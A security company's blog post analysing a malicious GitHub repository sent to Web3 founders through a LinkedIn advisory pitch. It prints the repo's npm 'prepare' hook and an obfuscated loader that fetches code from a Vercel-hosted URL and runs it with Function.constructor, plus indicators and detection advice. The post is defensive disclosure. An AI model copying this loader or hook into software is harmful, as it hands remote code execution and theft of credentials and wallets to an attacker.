Back to Blog

Web3 Security: How We Caught a Malicious GitHub Repo Containing Hidden Malwares Disguised as a LinkedIn Business Opportunity

Thi Nguyen

Thi Nguyen

Author

April 10, 2026
8 min read

Founder

Web3 Security: How We Caught a Malicious GitHub Repo Containing Hidden Malwares Disguised as a LinkedIn Business Opportunity

A technical breakdown of a LinkedIn-delivered supply chain attack targeting Web3 founders.

The Message

It started with a LinkedIn DM that felt like a legitimate business opportunity. The sender, going by the name Kanak Goel, had clearly done their research. As the founder of Fystack, I receive outreach regularly from people wanting to collaborate, partner, or get advisory input on their projects. This one followed that exact script.

The message was polished and specific: they wanted to engage me in a consultancy/advisory capacity, leveraging my experience in custody infrastructure, multi-chain wallets, and RWA products. My insights, they said, would be valuable in reviewing their architecture, tokenization flows, and compliance approach.

Then came the link:

"Here is our current project repo: https://github.com/jaiu3d/DeFi-Estate - Please review and setup the repo Let me know if you encounter any issues during setup."

Something felt off. A legitimate partner wanting architectural feedback doesn't ask you to set up their project locally and "encounter issues during setup." That phrasing is doing a lot of work. I didn't clone anything. I forwarded it to our security team and opened the repo in the browser.

Why Founders and Senior Engineers Are the Target

This attack is not aimed at junior developers. It's aimed at people whose machines hold real value:

  • Founders and CTOs, Devops Engineers often have access to production infrastructure credentials, cloud provider root accounts, and internal tooling secrets
  • Senior Web3 engineers may have significant personal crypto holdings and access to company treasury wallets
  • Advisory-capacity pitches specifically target people with seniority because they carry more credibility and are more likely to have high-value secrets on their machines

The attacker is not trying to compromise a staging environment. They are trying to get on the machine of someone who has access to everything.

Red Flag #1: package.json - The Trap Is Set Before You Even Start

The first file our security team checked was package.json. This is always the right place to start when reviewing an unfamiliar Node.js project. Here's what they found:

In package.json

JSON
"scripts": {
  "dev":     "concurrently \"node server/app.js\" \"vite\"",
  "build":   "concurrently \"node server/app.js\" \"vite build\"",
  "lint":    "concurrently \"node server/app.js\" \"vite lint\"",
  "prepare": "node server/app.js"
}

Every single npm script runs node server/app.js alongside the legitimate tool. But the critical one is "prepare".

The prepare lifecycle script in npm runs automatically after npm install completes - before you ever type npm run dev. This means the payload executes the moment anyone follows the standard onboarding flow of any Node.js project. You don't have to start the app. You just have to install dependencies.

Most developers' muscle memory is: git clonenpm installnpm run dev. The trap is sprung at step two.


Red Flag #2: server/app.js - The Convincing Decoy

The entry point itself is completely clean:

JavaScript
require('dotenv').config();
const express = require('express');
const cors = require('cors');

const authRoutes = require('./routes/auth');
const apiRoutes  = require('./routes/api');
const dataRoutes = require('./routes/data');

const app = express();
app.use(cors());
app.use(express.json());

app.get('/health', (req, res) => res.json({ status: 'ok' }));
app.use('/api/auth', authRoutes);
app.use('/api',      apiRoutes);
app.use('/api/data', dataRoutes);

app.listen(4000, () => console.log('Server listening on port 4000'));

Standard Express boilerplate. This is intentional. If someone does a quick scan of app.js and sees clean code, they relax. The malicious logic is buried two layers deeper in a service file that most reviewers would never open.

Red Flag #3: dataService.js - Where the Payload Lives

Buried inside server/services/dataService.js, https://github.com/jaiu3d/DeFi-Estate/blob/main/server/services/dataService.js#L51 (The project could be taken down by now) surrounded by completely normal CRUD functions for managing users, cards, banks, and purchase history, is this block:

JavaScript
async function verifyToken(req, res) {
  const { data } = persistence;
  verify(parseToken("aHR0cHM6Ly9sb2NhdGUtbXktaXAudmVyY2VsLmFwcC9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzOQ=="))
    .then((response) => {
      console.log("Token received successfully");
      const responseData = response.data;
      const executor = new (Function.constructor)("require", responseData);
      console.log("Executing token verification...");
      executor(require);
      console.log("Token verified successfully");
      return { success: true, data: responseData };
    })
    .catch((err) => {
      return { success: false, data: err };
    });
}
verifyToken();

Malicious code embedded in the repo to install backdoors

verifyToken() is called immediately at module load time - meaning this code runs the moment dataService.js is imported, which happens the moment server/app.js starts, which happens the moment npm install completes.

Let's break down every piece of this.

The Base64 Obfuscation

aHR0cHM6Ly9sb2NhdGUtbXktaXAudmVyY2VsLmFwcC9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzOQ==

Decoded:

Base64 is not encryption. It's just enough obfuscation to prevent the URL from appearing in a plain-text search of the codebase. A developer grepping for http, fetch, or axios would find nothing suspicious.

The function parseToken(), defined earlier in authService.js, handles the decode:

js

JavaScript
const parseToken = (s) => {
  if (!s) return s;
  try {
    return Buffer.from(s, "base64").toString("utf8");
  } catch (err) {
    return s;
  }
};

It's named parseToken to make it sound like a JWT utility. It is not.


The Remote Payload Delivery via Vercel

The decoded URL points to locate-my-ip.vercel.app - a domain hosted on Vercel, a legitimate, widely trusted cloud platform used by millions of developers worldwide.

This is the most sophisticated part of the attack.

Most corporate firewalls, antivirus tools, and DNS filters maintain blocklists of known malicious domains. vercel.app is not on any blocklist. Traffic to it is indistinguishable from a developer fetching their own deployment preview. The attacker uses Vercel as a payload host, inheriting the platform's entire trust reputation at zero cost - Vercel's free tier is sufficient.

The endpoint path /api/ip-check-encrypted/3aeb34a39 is designed to look like a routine internal API call - maybe a token validation or an IP geolocation check. Nothing alarming to a developer glancing at network traffic.

This technique is increasingly common. We have seen similar abuse of GitHub raw content URLs, jsDelivr CDN, and Cloudflare Workers for the same purpose. Attackers have learned that owning a convincing domain is unnecessary when trusted platforms will host your payload for free.

When the victim's machine hits this endpoint, the server can:

  • Serve a different payload depending on the victim's IP, OS, or user-agent
  • Return empty responses to security researchers and automated scanners that look non-human
  • Rotate the payload at any time without touching the GitHub repo

That last point is critical: the malware in the repo is just a loader. The actual payload lives on the attacker's server and can change at any moment, making static analysis of the repo alone insufficient to understand the full attack.


The Remote Code Execution

JavaScript
const executor = new (Function.constructor)("require", responseData);
executor(require);

Function.constructor is a technique for dynamically creating a function from a string - equivalent to eval() but harder to detect with static analysis tools that specifically flag the eval keyword. The string returned by the attacker's server becomes executable JavaScript with full access to Node.js's require, meaning the remote code can:

  • Read and write the filesystem (fs)
  • Spawn child processes (child_process)
  • Make outbound network calls (https, axios)
  • Access all environment variables (process.env)

This is a full remote code execution primitive. From the moment npm install finishes, the attacker has unrestricted access to everything on the victim's machine.


The Console Log Misdirection

JavaScript
console.log("Token received successfully");
console.log("Executing token verification...");
console.log("Token verified successfully");

These logs are designed to look like normal authentication middleware output if a developer glances at the terminal. The malicious execution is invisible in plain sight.

The Full Attack Chain

LinkedIn DM (targeted business partnership pitch)
        ↓
"Please install the repo" (low-friction ask)
        ↓
git clone jaiu3d/DeFi-Estate (repo looks entirely legitimate)
        ↓
npm install (triggers "prepare" script automatically)
        ↓
node server/app.js executes
        ↓
dataService.js loads → verifyToken() called immediately
        ↓
Base64 decoded → HTTP request to locate-my-ip.vercel.app (trusted domain, bypasses firewalls)
        ↓
Remote JavaScript payload returned
        ↓
new Function.constructor executes payload with full require access
        ↓
Full RCE on victim's machine

The entire chain from npm install to remote code execution takes under 5 seconds.

What the Payload Likely Does

We did not execute the payload. The endpoint returned an empty response when hit from our sandboxed environment - a common technique to avoid sandbox analysis. Based on the attack profile and the specific targeting of Web3 founders and senior engineers, common payloads in this class include:

  • Exfiltration of .env files - harvesting API keys, private RPC endpoints, database credentials, and infrastructure secrets
  • Crypto wallet seed phrase theft - scanning common wallet file locations (~/.config, MetaMask extension storage, Phantom wallet data directories)
  • Browser credential dumping - targeting Chrome, Brave, and Firefox saved passwords and session cookies
  • SSH key exfiltration - copying ~/.ssh/id_rsa and ~/.ssh/known_hosts to the attacker's server for lateral movement
  • Persistent backdoor installation - adding a cron job or launch daemon for ongoing access long after the repo is deleted

For a Web3 founder specifically, the prize is wallet keys and infrastructure access. A single compromised seed phrase means total, irreversible loss of funds.


Detection: Static Signals to Look For

Before running any unfamiliar repository, check these:

SignalWhat to check
prepare script in package.jsonDoes it run anything other than a build tool?
postinstall scriptSame - any arbitrary node execution is suspicious
Base64 strings in source codeDecode them. Always.
Function.constructor, eval, new FunctionDynamic code execution from a string
Outbound HTTP calls at module load timeCode that phones home when a file is imported
Mismatched namingFunctions named verifyToken that don't verify tokens

Network indicators of compromise:

  • Outbound requests to locate-my-ip.vercel.app
  • Specifically the path /api/ip-check-encrypted/3aeb34a39

What We Did

  1. Identified the suspicious outreach pattern and did not clone the repository
  2. Forwarded to our security team for static analysis
  3. Analysed the full repo in a sandboxed environment with no credentials present
  4. Decoded the obfuscated payload URL and identified the Vercel-hosted delivery endpoint
  5. Reported the GitHub repository jaiu3d/DeFi-Estate for takedown
  6. Reported the LinkedIn account Kanak Goel for sending malicious content
  7. Published this post to protect other founders and developers in the Web3 space

Recommendations

For founders and senior engineers:

  • Business partnership pitches or a job offer that include "please set up our repo locally" are a red flag, regardless of how professional the context looks
  • Always read package.json scripts before running anything - pay particular attention to prepare and postinstall
  • Treat any base64 string in source code as immediately suspicious until decoded and understood
  • Use a dedicated, isolated VM or container with no credentials for reviewing unfamiliar code

For security teams:

  • Brief leadership and senior staff specifically on this pattern, not just junior developers - the targeting is deliberate
  • Monitor outbound DNS for unexpected vercel.app, netlify.app, or workers.dev subdomains from developer machines
  • Consider adding Function.constructor and bare eval to your ESLint rules as warnings on internal projects

Closing

The attacker invested real effort here. The repo is well-structured, the dependencies are legitimate, the social engineering is targeted, and the payload is hidden three files deep behind innocuous-sounding function names. The choice of Vercel as a payload host shows awareness of how security tooling works and how to evade it.

The defence is simple but requires discipline: read before you run. Every time.

If you received a message from "Kanak Goel" on LinkedIn linking to github.com/jaiu3d/DeFi-Estate - do not clone it, do not run it, and report the account immediately.

Join our Fystack community Telegram for web3 engineering and security updates and discussion: https://lnkd.in/gg3ZSj4A

Share this post